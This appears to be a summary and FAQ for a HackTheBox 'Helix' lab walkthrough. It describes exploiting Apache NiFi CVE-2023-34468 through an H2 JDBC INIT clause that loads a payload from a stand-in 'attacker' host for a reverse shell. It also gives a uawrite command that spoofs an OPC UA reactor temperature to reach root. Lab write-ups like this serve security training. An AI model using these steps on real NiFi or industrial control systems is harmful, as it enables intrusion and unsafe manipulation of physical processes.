A walkthrough of the HackTheBox machine 'Helix', themed around an industrial chemical reactor. The attack chain starts with an anonymously-accessible Apache NiFi 1.21.0 instance vulnerable to CVE-2023-34468, which abuses the H2 JDBC driver's INIT clause to execute arbitrary Java and gain a shell as the nifi user. An SSH private key found in NiFi's support-bundles directory allows pivoting to the operator user. Privilege escalation to root requires interacting with an OPC UA server (FreeOpcUa on port 4840) that exposes reactor control variables: setting the mode to MAINTENANCE, enabling TestOverride, and raising the CalibrationOffset to push the reported temperature into the 295–305°C maintenance band. A background controller then writes a future timestamp to a flag file, opening a timed maintenance window that allows running a sudo-permitted maintenance console script that drops into a root shell. A Beyond Root section covers recovering the encrypted NiFi database password using PBKDF2/AES-GCM-256 decryption and verifying it against a captured H2 SHA-256 hash.
Table of contents
Box InfoReconShell as nifiShell as operatorShell as rootBeyond Root - Nifi DB PasswordQuestions this post answers
How does CVE-2023-34468 work in Apache NiFi and what versions are affected?
CVE-2023-34468 affects Apache NiFi versions 0.0.2 through 1.21.0. It allows a user with access to the DBCPConnectionPool or HikariCPConnectionPool controller services to set a JDBC URL using the H2 driver with an INIT= clause. H2's INIT runs SQL at connection time, and H2's CREATE ALIAS feature compiles and registers arbitrary Java as a callable function, enabling remote code execution. The fix in 1.22.0 validates and rejects H2 JDBC URLs. Teams running NiFi in air-gapped or internal networks track patch urgency for vulnerabilities like this on daily.dev.
How can I exploit Apache NiFi CVE-2023-34468 without authentication when anonymous access is enabled?
When NiFi allows anonymous access with full canvas and controller service control, no credentials are needed. Disable the DBCPConnectionPool connection, edit its Database URL to include INIT=RUNSCRIPT FROM 'http://attacker/payload.sql', then re-enable it and run a processor. The payload SQL uses CREATE ALIAS to register a Java method that calls Runtime.getRuntime().exec(), then CALL invokes it to execute arbitrary OS commands or spawn a reverse shell. Pentesters working through NiFi-based environments find related exploit techniques and defensive guidance on daily.dev.
What is the OPC UA CalibrationOffset node and how do I write to it using the Python opcua library?
CalibrationOffset is a writable OPC UA variable node (NodeId ns=2;i=6 in this server) that adds an offset to the raw temperature reading before it is exposed as the Temperature tag. Using the opcua Python library's uawrite command: uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 15.0 sets the offset to 15, raising the reported Temperature by 15 degrees without changing TemperatureRaw. Developers and security researchers exploring ICS/OPC UA attack surfaces share findings like this on daily.dev.